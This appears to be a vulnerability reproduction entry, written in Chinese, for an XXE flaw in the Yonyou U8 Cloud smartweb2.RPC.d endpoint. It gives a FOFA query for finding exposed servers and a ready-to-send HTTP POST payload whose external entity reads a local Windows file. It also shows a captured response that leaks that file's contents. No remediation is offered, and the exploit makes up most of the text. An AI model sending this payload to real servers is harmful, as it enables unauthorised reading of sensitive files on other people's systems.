

Y3-11用友-U8-Cloud-XXE

漏洞描述:

用友U8 Cloud smartweb2.RPC.d接口处存在 [XXE漏洞](#)，攻击者可通过该漏洞获取敏感文件信息，攻击者添加恶意内容，通过易受攻击的代码，就能够攻击包含缺陷的XML处理器。

网站图片:



请下载新版UClient
开启U8 cloud云端之旅

立即下载



网络测绘:

fofa语法:

FOFA: app="用友-U8-Cloud"

漏洞复现:

payload:

```
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: youip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword-nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C:/windows/win.ini">]><rpc tran
method="resetPwd"><vps><p name="__profileKeys">%26Password;</p></vps></rpc>
```

效果图:

Request

```
1 POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
2 Host: youip
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
5 Accept-Encoding: gzip, deflate
6 Accept-Language: zh-CN,zh;q=0.9
7 Connection: close
8 Content-Type: application/x-www-form-urlencoded
9
10 __viewInstanceId=nc.bs.hrss.rm.ResetPassword-nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C:/windows/win.ini">]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p></vps></rpc>
```

Responses 292bytes / 66ms

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Set-Cookie: JSESSIONID=EBF221EB9C6919E6081
4 Content-Type: text/xml; charset=utf-8
5 Date: Fri, 05 Jan 2024 11:14:08 GMT
6 Connection: close
7 Content-Length: 292
8
9 <?xml version="1.0"?>
10 <result succeed="false">
11 <errorMessage></errorMessage>
12 <stackTrace><![CDATA[]]></stackTrace>
13 <viewProperties><p name="__profileKeys">va
14 [fonts]
15 [extensions]
16 [mci_extensions]
17 [files]
18 [Mail]
19 MAPI=1
20 </data type="0"/></viewProperties>
21 </result>
```